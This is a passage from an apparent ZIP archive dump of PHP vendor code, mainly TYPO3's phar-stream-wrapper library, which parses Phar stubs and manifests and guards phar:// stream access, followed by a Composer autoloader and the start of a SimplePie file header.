@param int $arg2 * @return bool */ public function stream_set_option($option, $arg1, $arg2) { if ($option === STREAM_OPTION_BLOCKING) { return $this->invokeInternalStreamWrapper( 'stream_set_blocking', $this->internalResource, $arg1 ); } if ($option === STREAM_OPTION_READ_TIMEOUT) { return $this->invokeInternalStreamWrapper( 'stream_set_timeout', $this->internalResource, $arg1, $arg2 ); } if ($option === STREAM_OPTION_WRITE_BUFFER) { return $this->invokeInternalStreamWrapper( 'stream_set_write_buffer', $this->internalResource, $arg2 ) === 0; } return false; } /** * @return array */ public function stream_stat() { return $this->invokeInternalStreamWrapper( 'fstat', $this->internalResource ); } /** * @return int */ public function stream_tell() { return $this->invokeInternalStreamWrapper( 'ftell', $this->internalResource ); } /** * @param int $new_size * @return bool */ public function stream_truncate($new_size) { return $this->invokeInternalStreamWrapper( 'ftruncate', $this->internalResource, $new_size ); } /** * @param string $data * @return int */ public function stream_write($data) { return $this->invokeInternalStreamWrapper( 'fwrite', $this->internalResource, $data ); } /** * @param string $path * @return bool */ public function unlink($path) { $this->assert($path, Behavior::COMMAND_UNLINK); return $this->invokeInternalStreamWrapper( 'unlink', $path, $this->context ); } /** * @param string $path * @param int $flags * @return array|false */ public function url_stat($path, $flags) { $this->assert($path, Behavior::COMMAND_URL_STAT); $functionName = $flags & STREAM_URL_STAT_QUIET ? '@stat' : 'stat'; return $this->invokeInternalStreamWrapper($functionName, $path); } /** * @param string $path * @param string $command */ protected function assert($path, $command) { if (Manager::instance()->assert($path, $command) === true) { $this->collectInvocation($path); return; } throw new Exception( sprintf( 'Denied invocation of "%s" for command "%s"', $path, $command ), 1535189880 ); } /** * @param string $path */ protected function collectInvocation($path) { if (isset($this->invocation)) { return; } $manager = Manager::instance(); $this->invocation = $manager->resolve($path); if ($this->invocation === null) { throw new Exception( 'Expected invocation could not be resolved', 1556389591 ); } // confirm, previous interceptor(s) validated invocation $this->invocation->confirm(); $collection = $manager->getCollection(); if (!$collection->has($this->invocation)) { $collection->collect($this->invocation); } } /** * @return Manager|Assertable * @deprecated Use Manager::instance() directly */ protected function resolveAssertable() { return Manager::instance(); } /** * Invokes commands on the native PHP Phar stream wrapper. * * @param string $functionName * @param mixed ...$arguments * @return mixed */ private function invokeInternalStreamWrapper($functionName) { $arguments = func_get_args(); array_shift($arguments); $silentExecution = $functionName[0] === '@'; $functionName = ltrim($functionName, '@'); $this->restoreInternalSteamWrapper(); try { if ($silentExecution) { $result = @call_user_func_array($functionName, $arguments); } else { $result = call_user_func_array($functionName, $arguments); } } catch (\Exception $exception) { $this->registerStreamWrapper(); throw $exception; } catch (\Throwable $throwable) { $this->registerStreamWrapper(); throw $throwable; } $this->registerStreamWrapper(); return $result; } private function restoreInternalSteamWrapper() { if (PHP_VERSION_ID < 70324 || PHP_VERSION_ID >= 70400 && PHP_VERSION_ID < 70412) { stream_wrapper_restore('phar'); } else { // with https://github.com/php/php-src/pull/6183 (PHP #76943) the // behavior of `stream_wrapper_restore()` did change for // PHP 8.0-RC1, 7.4.12 and 7.3.24 @stream_wrapper_restore('phar'); } } private function registerStreamWrapper() { stream_wrapper_unregister('phar'); stream_wrapper_register('phar', get_class($this)); } } PKÜ�\H��Y��2vendor/typo3/phar-stream-wrapper/src/Phar/Stub.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Phar; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ /** * @internal Experimental implementation of Phar archive internals */ class Stub { /** * @param string $content * @return self */ public static function fromContent($content) { $target = new static(); $target->content = $content; if ( stripos($content, 'Phar::mapPhar(') !== false && preg_match('#Phar\:\:mapPhar\(([^)]+)\)#', $content, $matches) ) { // remove spaces, single & double quotes // @todo `'my' . 'alias' . '.phar'` is not evaluated here $target->mappedAlias = trim($matches[1], ' \'"'); } return $target; } /** * @var string */ private $content; /** * @var string */ private $mappedAlias = ''; /** * @return string */ public function getContent() { return $this->content; } /** * @return string */ public function getMappedAlias() { return $this->mappedAlias; } } PKÜ�\�Q�fQQ6vendor/typo3/phar-stream-wrapper/src/Phar/Manifest.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Phar; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use Brumann\Polyfill\Unserialize; class Manifest { /** * @param string $content * @return self * @see http://php.net/manual/en/phar.fileformat.phar.php */ public static function fromContent($content) { $target = new static(); $target->manifestLength = Reader::resolveFourByteLittleEndian($content, 0); $target->amountOfFiles = Reader::resolveFourByteLittleEndian($content, 4); $target->flags = Reader::resolveFourByteLittleEndian($content, 10); $target->aliasLength = Reader::resolveFourByteLittleEndian($content, 14); $target->alias = substr($content, 18, $target->aliasLength); $target->metaDataLength = Reader::resolveFourByteLittleEndian($content, 18 + $target->aliasLength); $target->metaData = substr($content, 22 + $target->aliasLength, $target->metaDataLength); $apiVersionNibbles = Reader::resolveTwoByteBigEndian($content, 8); $target->apiVersion = implode('.', array( ($apiVersionNibbles & 0xf000) >> 12, ($apiVersionNibbles & 0x0f00) >> 8, ($apiVersionNibbles & 0x00f0) >> 4, )); return $target; } /** * @var int */ private $manifestLength; /** * @var int */ private $amountOfFiles; /** * @var string */ private $apiVersion; /** * @var int */ private $flags; /** * @var int */ private $aliasLength; /** * @var string */ private $alias; /** * @var int */ private $metaDataLength; /** * @var string */ private $metaData; /** * Avoid direct instantiation. */ private function __construct() { } /** * @return int */ public function getManifestLength() { return $this->manifestLength; } /** * @return int */ public function getAmountOfFiles() { return $this->amountOfFiles; } /** * @return string */ public function getApiVersion() { return $this->apiVersion; } /** * @return int */ public function getFlags() { return $this->flags; } /** * @return int */ public function getAliasLength() { return $this->aliasLength; } /** * @return string */ public function getAlias() { return $this->alias; } /** * @return int */ public function getMetaDataLength() { return $this->metaDataLength; } /** * @return string */ public function getMetaData() { return $this->metaData; } /** * @return mixed|null */ public function deserializeMetaData() { if (empty($this->metaData)) { return null; } $result = Unserialize::unserialize($this->metaData, array('allowed_classes' => false)); $serialized = json_encode($result); if (strpos($serialized, '__PHP_Incomplete_Class_Name') !== false) { throw new DeserializationException( 'Meta-data contains serialized object', 1539623382 ); } return $result; } } PKÜ�\/�'cc7vendor/typo3/phar-stream-wrapper/src/Phar/Container.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Phar; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ class Container { /** * @var Stub */ private $stub; /** * @var Manifest */ private $manifest; /** * @param Stub $stub * @param Manifest $manifest */ public function __construct(Stub $stub, Manifest $manifest) { $this->stub = $stub; $this->manifest = $manifest; } /** * @return Stub */ public function getStub() { return $this->stub; } /** * @return Manifest */ public function getManifest() { return $this->manifest; } /** * @return string */ public function getAlias() { return $this->manifest->getAlias() ?: $this->stub->getMappedAlias(); } } PKÜ�\��H��Fvendor/typo3/phar-stream-wrapper/src/Phar/DeserializationException.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Phar; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Exception; class DeserializationException extends Exception { } PKÜ�\MXf���=vendor/typo3/phar-stream-wrapper/src/Phar/ReaderException.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Phar; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Exception; class ReaderException extends Exception { } PKÜ�\�D��JJ4vendor/typo3/phar-stream-wrapper/src/Phar/Reader.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Phar; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ class Reader { /** * @var string */ private $fileName; /** * Mime-type in order to use zlib, bzip2 or no compression. * In case ext-fileinfo is not present only the relevant types * 'application/x-gzip' and 'application/x-bzip2' are assigned * to this class property. * * @var string */ private $fileType; /** * @param string $fileName */ public function __construct($fileName) { if (strpos($fileName, '://') !== false) { throw new ReaderException( 'File name must not contain stream prefix', 1539623708 ); } $this->fileName = $fileName; $this->fileType = $this->determineFileType(); } /** * @return Container */ public function resolveContainer() { $data = $this->extractData($this->resolveStream() . $this->fileName); if ($data['stubContent'] === null) { throw new ReaderException( 'Cannot resolve stub', 1547807881 ); } if ($data['manifestContent'] === null || $data['manifestLength'] === null) { throw new ReaderException( 'Cannot resolve manifest', 1547807882 ); } if (strlen($data['manifestContent']) < $data['manifestLength']) { throw new ReaderException( sprintf( 'Exected manifest length %d, got %d', strlen($data['manifestContent']), $data['manifestLength'] ), 1547807883 ); } return new Container( Stub::fromContent($data['stubContent']), Manifest::fromContent($data['manifestContent']) ); } /** * @param string $fileName e.g. '/path/file.phar' or 'compress.zlib:///path/file.phar' * @return array */ private function extractData($fileName) { $stubContent = null; $manifestContent = null; $manifestLength = null; $resource = fopen($fileName, 'r'); if (!is_resource($resource)) { throw new ReaderException( sprintf('Resource %s could not be opened', $fileName), 1547902055 ); } while (!feof($resource)) { $line = fgets($resource); // stop processing in case the system fails to read from a stream if ($line === false) { break; } // stop reading file when manifest can be extracted if ($manifestLength !== null && $manifestContent !== null && strlen($manifestContent) >= $manifestLength) { break; } $manifestPosition = strpos($line, '__HALT_COMPILER();'); // first line contains start of manifest if ($stubContent === null && $manifestContent === null && $manifestPosition !== false) { $stubContent = substr($line, 0, $manifestPosition - 1); $manifestContent = preg_replace('#^.*__HALT_COMPILER\(\);(?>[ \n]\?>(?>\r\n|\n)?)?#', '', $line); $manifestLength = $this->resolveManifestLength($manifestContent); // line contains start of stub } elseif ($stubContent === null) { $stubContent = $line; // line contains start of manifest } elseif ($manifestContent === null && $manifestPosition !== false) { $manifestContent = preg_replace('#^.*__HALT_COMPILER\(\);(?>[ \n]\?>(?>\r\n|\n)?)?#', '', $line); $manifestLength = $this->resolveManifestLength($manifestContent); // manifest has been started (thus is cannot be stub anymore), add content } elseif ($manifestContent !== null) { $manifestContent .= $line; $manifestLength = $this->resolveManifestLength($manifestContent); // stub has been started (thus cannot be manifest here, yet), add content } elseif ($stubContent !== null) { $stubContent .= $line; } } fclose($resource); return array( 'stubContent' => $stubContent, 'manifestContent' => $manifestContent, 'manifestLength' => $manifestLength, ); } /** * Resolves stream in order to handle compressed Phar archives. * * @return string */ private function resolveStream() { if ($this->fileType === 'application/x-gzip' || $this->fileType === 'application/gzip') { return 'compress.zlib://'; } elseif ($this->fileType === 'application/x-bzip2') { return 'compress.bzip2://'; } return ''; } /** * @return string */ private function determineFileType() { if (class_exists('\\finfo')) { $fileInfo = new \finfo(); return $fileInfo->file($this->fileName, FILEINFO_MIME_TYPE); } return $this->determineFileTypeByHeader(); } /** * In case ext-fileinfo is not present only the relevant types * 'application/x-gzip' and 'application/x-bzip2' are resolved. * * @return string */ private function determineFileTypeByHeader() { $resource = fopen($this->fileName, 'r'); if (!is_resource($resource)) { throw new ReaderException( sprintf('Resource %s could not be opened', $this->fileName), 1557753055 ); } $header = fgets($resource, 4); fclose($resource); $mimeType = ''; if (strpos($header, "\x42\x5a\x68") === 0) { $mimeType = 'application/x-bzip2'; } elseif (strpos($header, "\x1f\x8b") === 0) { $mimeType = 'application/x-gzip'; } return $mimeType; } /** * @param string $content * @return int|null */ private function resolveManifestLength($content) { if (strlen($content) < 4) { return null; } return static::resolveFourByteLittleEndian($content, 0); } /** * @param string $content * @param int $start * @return int */ public static function resolveFourByteLittleEndian($content, $start) { $payload = substr($content, $start, 4); if (!is_string($payload)) { throw new ReaderException( sprintf('Cannot resolve value at offset %d', $start), 1539614260 ); } $value = unpack('V', $payload); if (!isset($value[1])) { throw new ReaderException( sprintf('Cannot resolve value at offset %d', $start), 1539614261 ); } return $value[1]; } /** * @param string $content * @param int $start * @return int */ public static function resolveTwoByteBigEndian($content, $start) { $payload = substr($content, $start, 2); if (!is_string($payload)) { throw new ReaderException( sprintf('Cannot resolve value at offset %d', $start), 1539614263 ); } $value = unpack('n', $payload); if (!isset($value[1])) { throw new ReaderException( sprintf('Cannot resolve value at offset %d', $start), 1539614264 ); } return $value[1]; } } PKÜ�\��""3vendor/typo3/phar-stream-wrapper/src/Assertable.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ interface Assertable { /** * @param string $path * @param string $command * @return bool */ public function assert($path, $command); } PKÜ�\���ܿ�Hvendor/typo3/phar-stream-wrapper/src/Resolver/PharInvocationResolver.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Resolver; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Helper; use TYPO3\PharStreamWrapper\Manager; use TYPO3\PharStreamWrapper\Phar\Reader; use TYPO3\PharStreamWrapper\Phar\ReaderException; use TYPO3\PharStreamWrapper\Resolvable; class PharInvocationResolver implements Resolvable { const RESOLVE_REALPATH = 1; const RESOLVE_ALIAS = 2; const ASSERT_INTERNAL_INVOCATION = 32; /** * @var string[] */ private $invocationFunctionNames = array( 'include', 'include_once', 'require', 'require_once' ); /** * Contains resolved base names in order to reduce file IO. * * @var string[] */ private $baseNames = array(); /** * Resolves PharInvocation value object (baseName and optional alias). * * Phar aliases are intended to be used only inside Phar archives, however * PharStreamWrapper needs this information exposed outside of Phar as well * It is possible that same alias is used for different $baseName values. * That's why PharInvocationCollection behaves like a stack when resolving * base-name for a given alias. On the other hand it is not possible that * one $baseName is referring to multiple aliases. * @see https://secure.php.net/manual/en/phar.setalias.php * @see https://secure.php.net/manual/en/phar.mapphar.php * * @param string $path * @param int|null $flags * @return null|PharInvocation */ public function resolve($path, $flags = null) { $hasPharPrefix = Helper::hasPharPrefix($path); if ($flags === null) { $flags = static::RESOLVE_REALPATH | static::RESOLVE_ALIAS; } if ($hasPharPrefix && $flags & static::RESOLVE_ALIAS) { $invocation = $this->findByAlias($path); if ($invocation !== null) { return $invocation; } } $baseName = $this->resolveBaseName($path, $flags); if ($baseName === null) { return null; } if ($flags & static::RESOLVE_REALPATH) { $baseName = $this->baseNames[$baseName]; } return $this->retrieveInvocation($baseName, $flags); } /** * Retrieves PharInvocation, either existing in collection or created on demand * with resolving a potential alias name used in the according Phar archive. * * @param string $baseName * @param int $flags * @return PharInvocation */ private function retrieveInvocation($baseName, $flags) { $invocation = $this->findByBaseName($baseName); if ($invocation !== null) { return $invocation; } if ($flags & static::RESOLVE_ALIAS) { $reader = new Reader($baseName); $alias = $reader->resolveContainer()->getAlias(); } else { $alias = ''; } // add unconfirmed(!) new invocation to collection $invocation = new PharInvocation($baseName, $alias); Manager::instance()->getCollection()->collect($invocation); return $invocation; } /** * @param string $path * @param int $flags * @return null|string */ private function resolveBaseName($path, $flags) { $baseName = $this->findInBaseNames($path); if ($baseName !== null) { return $baseName; } $baseName = Helper::determineBaseFile($path); if ($baseName !== null) { $this->addBaseName($baseName); return $baseName; } $possibleAlias = $this->resolvePossibleAlias($path); if (!($flags & static::RESOLVE_ALIAS) || $possibleAlias === null) { return null; } $trace = debug_backtrace(); foreach ($trace as $item) { if (!isset($item['function']) || !isset($item['args'][0]) || !in_array($item['function'], $this->invocationFunctionNames, true)) { continue; } $currentPath = $item['args'][0]; if (Helper::hasPharPrefix($currentPath)) { continue; } $currentBaseName = Helper::determineBaseFile($currentPath); if ($currentBaseName === null) { continue; } // ensure the possible alias name (how we have been called initially) matches // the resolved alias name that was retrieved by the current possible base name try { $reader = new Reader($currentBaseName); $currentAlias = $reader->resolveContainer()->getAlias(); } catch (ReaderException $exception) { // most probably that was not a Phar file continue; } if (empty($currentAlias) || $currentAlias !== $possibleAlias) { continue; } $this->addBaseName($currentBaseName); return $currentBaseName; } return null; } /** * @param string $path * @return null|string */ private function resolvePossibleAlias($path) { $normalizedPath = Helper::normalizePath($path); return strstr($normalizedPath, '/', true) ?: null; } /** * @param string $baseName * @return null|PharInvocation */ private function findByBaseName($baseName) { return Manager::instance()->getCollection()->findByCallback( function (PharInvocation $candidate) use ($baseName) { return $candidate->getBaseName() === $baseName; }, true ); } /** * @param string $path * @return null|string */ private function findInBaseNames($path) { // return directly if the resolved base name was submitted if (in_array($path, $this->baseNames, true)) { return $path; } $parts = explode('/', Helper::normalizePath($path)); while (count($parts)) { $currentPath = implode('/', $parts); if (isset($this->baseNames[$currentPath])) { return $currentPath; } array_pop($parts); } return null; } /** * @param string $baseName */ private function addBaseName($baseName) { if (isset($this->baseNames[$baseName])) { return; } $this->baseNames[$baseName] = Helper::normalizeWindowsPath( realpath($baseName) ); } /** * Finds confirmed(!) invocations by alias. * * @param string $path * @return null|PharInvocation * @see \TYPO3\PharStreamWrapper\PharStreamWrapper::collectInvocation() */ private function findByAlias($path) { $possibleAlias = $this->resolvePossibleAlias($path); if ($possibleAlias === null) { return null; } return Manager::instance()->getCollection()->findByCallback( function (PharInvocation $candidate) use ($possibleAlias) { return $candidate->isConfirmed() && $candidate->getAlias() === $possibleAlias; }, true ); } } PKÜ�\W���eeJvendor/typo3/phar-stream-wrapper/src/Resolver/PharInvocationCollection.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Resolver; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Collectable; class PharInvocationCollection implements Collectable { const UNIQUE_INVOCATION = 1; const UNIQUE_BASE_NAME = 2; const DUPLICATE_ALIAS_WARNING = 32; /** * @var PharInvocation[] */ private $invocations = array(); /** * @param PharInvocation $invocation * @return bool */ public function has(PharInvocation $invocation) { return in_array($invocation, $this->invocations, true); } /** * @param PharInvocation $invocation * @param null|int $flags * @return bool */ public function collect(PharInvocation $invocation, $flags = null) { if ($flags === null) { $flags = static::UNIQUE_INVOCATION | static::DUPLICATE_ALIAS_WARNING; } if ($invocation->getBaseName() === '' || $invocation->getAlias() === '' || !$this->assertUniqueBaseName($invocation, $flags) || !$this->assertUniqueInvocation($invocation, $flags) ) { return false; } if ($flags & static::DUPLICATE_ALIAS_WARNING) { $this->triggerDuplicateAliasWarning($invocation); } $this->invocations[] = $invocation; return true; } /** * @param callable $callback * @param bool $reverse * @return null|PharInvocation */ public function findByCallback($callback, $reverse = false) { foreach ($this->getInvocations($reverse) as $invocation) { if (call_user_func($callback, $invocation) === true) { return $invocation; } } return null; } /** * Asserts that base-name is unique. This disallows having multiple invocations for * same base-name but having different alias names. * * @param PharInvocation $invocation * @param int $flags * @return bool */ private function assertUniqueBaseName(PharInvocation $invocation, $flags) { if (!($flags & static::UNIQUE_BASE_NAME)) { return true; } return $this->findByCallback( function (PharInvocation $candidate) use ($invocation) { return $candidate->getBaseName() === $invocation->getBaseName(); } ) === null; } /** * Asserts that combination of base-name and alias is unique. This allows having multiple * invocations for same base-name but having different alias names (for whatever reason). * * @param PharInvocation $invocation * @param int $flags * @return bool */ private function assertUniqueInvocation(PharInvocation $invocation, $flags) { if (!($flags & static::UNIQUE_INVOCATION)) { return true; } return $this->findByCallback( function (PharInvocation $candidate) use ($invocation) { return $candidate->equals($invocation); } ) === null; } /** * Triggers warning for invocations with same alias and same confirmation state. * * @param PharInvocation $invocation * @see \TYPO3\PharStreamWrapper\PharStreamWrapper::collectInvocation() */ private function triggerDuplicateAliasWarning(PharInvocation $invocation) { $sameAliasInvocation = $this->findByCallback( function (PharInvocation $candidate) use ($invocation) { return $candidate->isConfirmed() === $invocation->isConfirmed() && $candidate->getAlias() === $invocation->getAlias(); }, true ); if ($sameAliasInvocation === null) { return; } trigger_error( sprintf( 'Alias %s cannot be used by %s, already used by %s', $invocation->getAlias(), $invocation->getBaseName(), $sameAliasInvocation->getBaseName() ), E_USER_WARNING ); } /** * @param bool $reverse * @return PharInvocation[] */ private function getInvocations($reverse = false) { if ($reverse) { return array_reverse($this->invocations); } return $this->invocations; } }PKÜ�\��� � @vendor/typo3/phar-stream-wrapper/src/Resolver/PharInvocation.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Resolver; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Exception; class PharInvocation { /** * @var string */ private $baseName; /** * @var string */ private $alias; /** * @var bool * @see \TYPO3\PharStreamWrapper\PharStreamWrapper::collectInvocation() */ private $confirmed = false; /** * Arbitrary variables to be used by interceptors as registry * (e.g. in order to avoid duplicate processing and assertions) * * @var array */ private $variables; /** * @param string $baseName * @param string $alias */ public function __construct($baseName, $alias = '') { if ($baseName === '') { throw new Exception( 'Base-name cannot be empty', 1551283689 ); } $this->baseName = $baseName; $this->alias = $alias; } /** * @return string */ public function __toString() { return $this->baseName; } /** * @return string */ public function getBaseName() { return $this->baseName; } /** * @return null|string */ public function getAlias() { return $this->alias; } /** * @return bool */ public function isConfirmed() { return $this->confirmed; } public function confirm() { $this->confirmed = true; } /** * @param string $name * @return mixed|null */ public function getVariable($name) { if (!isset($this->variables[$name])) { return null; } return $this->variables[$name]; } /** * @param string $name * @param mixed $value */ public function setVariable($name, $value) { $this->variables[$name] = $value; } /** * @param PharInvocation $other * @return bool */ public function equals(PharInvocation $other) { return $other->baseName === $this->baseName && $other->alias === $this->alias; } }PKÜ�\�� /vendor/typo3/phar-stream-wrapper/src/Helper.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ /** * Helper provides low-level tools on file name resolving. However it does not * (and should not) maintain any runtime state information. In order to resolve * Phar archive paths according resolvers have to be used. * * @see \TYPO3\PharStreamWrapper\Resolvable::resolve() */ class Helper { /* * Resets PHP's OPcache if enabled as work-around for issues in `include()` * or `require()` calls and OPcache delivering wrong results. * * @see https://bugs.php.net/bug.php?id=66569 */ public static function resetOpCache() { if (function_exists('opcache_reset') && function_exists('opcache_get_status') ) { $status = @opcache_get_status(); if (!empty($status['opcache_enabled'])) { @opcache_reset(); } } } /** * Determines base file that can be accessed using the regular file system. * For e.g. "phar:///home/user/bundle.phar/content.txt" that would result * into "/home/user/bundle.phar". * * @param string $path * @return string|null */ public static function determineBaseFile($path) { $parts = explode('/', static::normalizePath($path)); while (count($parts)) { $currentPath = implode('/', $parts); if (@is_file($currentPath) && realpath($currentPath) !== false) { return $currentPath; } array_pop($parts); } return null; } /** * @param string $path * @return bool */ public static function hasPharPrefix($path) { return stripos($path, 'phar://') === 0; } /** * @param string $path * @return string */ public static function removePharPrefix($path) { $path = trim($path); if (!static::hasPharPrefix($path)) { return $path; } return substr($path, 7); } /** * Normalizes a path, removes phar:// prefix, fixes Windows directory * separators. Result is without trailing slash. * * @param string $path * @return string */ public static function normalizePath($path) { return rtrim( static::normalizeWindowsPath( static::removePharPrefix($path) ), '/' ); } /** * Fixes a path for windows-backslashes and reduces double-slashes to single slashes * * @param string $path File path to process * @return string */ public static function normalizeWindowsPath($path) { return str_replace('\\', '/', $path); } /** * Resolves all dots, slashes and removes spaces after or before a path... * * @param string $path Input string * @return string Canonical path, always without trailing slash */ private static function getCanonicalPath($path) { $path = static::normalizeWindowsPath($path); $absolutePathPrefix = ''; if (static::isAbsolutePath($path)) { if (static::isWindows() && strpos($path, ':/') === 1) { $absolutePathPrefix = substr($path, 0, 3); $path = substr($path, 3); } else { $path = ltrim($path, '/'); $absolutePathPrefix = '/'; } } $pathParts = explode('/', $path); $pathPartsLength = count($pathParts); for ($partCount = 0; $partCount < $pathPartsLength; $partCount++) { // double-slashes in path: remove element if ($pathParts[$partCount] === '') { array_splice($pathParts, $partCount, 1); $partCount--; $pathPartsLength--; } // "." in path: remove element if ((isset($pathParts[$partCount]) ? $pathParts[$partCount] : '') === '.') { array_splice($pathParts, $partCount, 1); $partCount--; $pathPartsLength--; } // ".." in path: if ((isset($pathParts[$partCount]) ? $pathParts[$partCount] : '') === '..') { if ($partCount === 0) { array_splice($pathParts, $partCount, 1); $partCount--; $pathPartsLength--; } elseif ($partCount >= 1) { // Rremove this and previous element array_splice($pathParts, $partCount - 1, 2); $partCount -= 2; $pathPartsLength -= 2; } elseif ($absolutePathPrefix) { // can't go higher than root dir // simply remove this part and continue array_splice($pathParts, $partCount, 1); $partCount--; $pathPartsLength--; } } } return $absolutePathPrefix . implode('/', $pathParts); } /** * Checks if the $path is absolute or relative (detecting either '/' or * 'x:/' as first part of string) and returns TRUE if so. * * @param string $path File path to evaluate * @return bool */ private static function isAbsolutePath($path) { // Path starting with a / is always absolute, on every system // On Windows also a path starting with a drive letter is absolute: X:/ return (isset($path[0]) ? $path[0] : null) === '/' || static::isWindows() && ( strpos($path, ':/') === 1 || strpos($path, ':\\') === 1 ); } /** * @return bool */ private static function isWindows() { return stripos(PHP_OS, 'WIN') === 0; } } PKÜ�\/�j���2vendor/typo3/phar-stream-wrapper/src/Exception.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ class Exception extends \RuntimeException { } PKÜ�\��1� 0vendor/typo3/phar-stream-wrapper/src/Manager.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Resolver\PharInvocation; use TYPO3\PharStreamWrapper\Resolver\PharInvocationCollection; use TYPO3\PharStreamWrapper\Resolver\PharInvocationResolver; class Manager { /** * @var self */ private static $instance; /** * @var Behavior */ private $behavior; /** * @var Resolvable */ private $resolver; /** * @var Collectable */ private $collection; /** * @param Behavior $behaviour * @param Resolvable $resolver * @param Collectable $collection * @return self */ public static function initialize( Behavior $behaviour, Resolvable $resolver = null, Collectable $collection = null ) { if (self::$instance === null) { self::$instance = new self($behaviour, $resolver, $collection); return self::$instance; } throw new \LogicException( 'Manager can only be initialized once', 1535189871 ); } /** * @return self */ public static function instance() { if (self::$instance !== null) { return self::$instance; } throw new \LogicException( 'Manager needs to be initialized first', 1535189872 ); } /** * @return bool */ public static function destroy() { if (self::$instance === null) { return false; } self::$instance = null; return true; } /** * @param Behavior $behaviour * @param Resolvable $resolver * @param Collectable $collection */ private function __construct( Behavior $behaviour, Resolvable $resolver = null, Collectable $collection = null ) { if ($collection === null) { $collection = new PharInvocationCollection(); } if ($resolver === null) { $resolver = new PharInvocationResolver(); } $this->collection = $collection; $this->resolver = $resolver; $this->behavior = $behaviour; } /** * @param string $path * @param string $command * @return bool */ public function assert($path, $command) { return $this->behavior->assert($path, $command); } /** * @param string $path * @param null|int $flags * @return null|PharInvocation */ public function resolve($path, $flags = null) { return $this->resolver->resolve($path, $flags); } /** * @return Collectable */ public function getCollection() { return $this->collection; } } PKÜ�\#�CC.vendor/typo3/phar-stream-wrapper/composer.jsonnu�[���{ "name": "typo3/phar-stream-wrapper", "description": "Interceptors for PHP's native phar:// stream handling", "type": "library", "license": "MIT", "homepage": "https://typo3.org/", "keywords": ["php", "phar", "stream-wrapper", "security"], "require": { "php": "^5.3.3 || ^7.0", "ext-json": "*", "brumann/polyfill-unserialize": "^1.0 || ^2.0" }, "require-dev": { "ext-xdebug": "*", "phpunit/phpunit": "^4.8.36" }, "suggest": { "ext-fileinfo": "For PHP builtin file type guessing, otherwise uses internal processing" }, "autoload": { "psr-4": { "TYPO3\\PharStreamWrapper\\": "src/" } }, "autoload-dev": { "psr-4": { "TYPO3\\PharStreamWrapper\\Tests\\": "tests/" } } } PKÜ�\�W�=��vendor/autoload.phpnu�[���<?php // autoload.php @generated by Composer require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInitc14bde14f8c86840049f5c1809c453dd::getLoader(); PKÜ�\^�t�C�CEvendor/simplepie/simplepie/library/SimplePie/Decode/HTML/Entities.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its 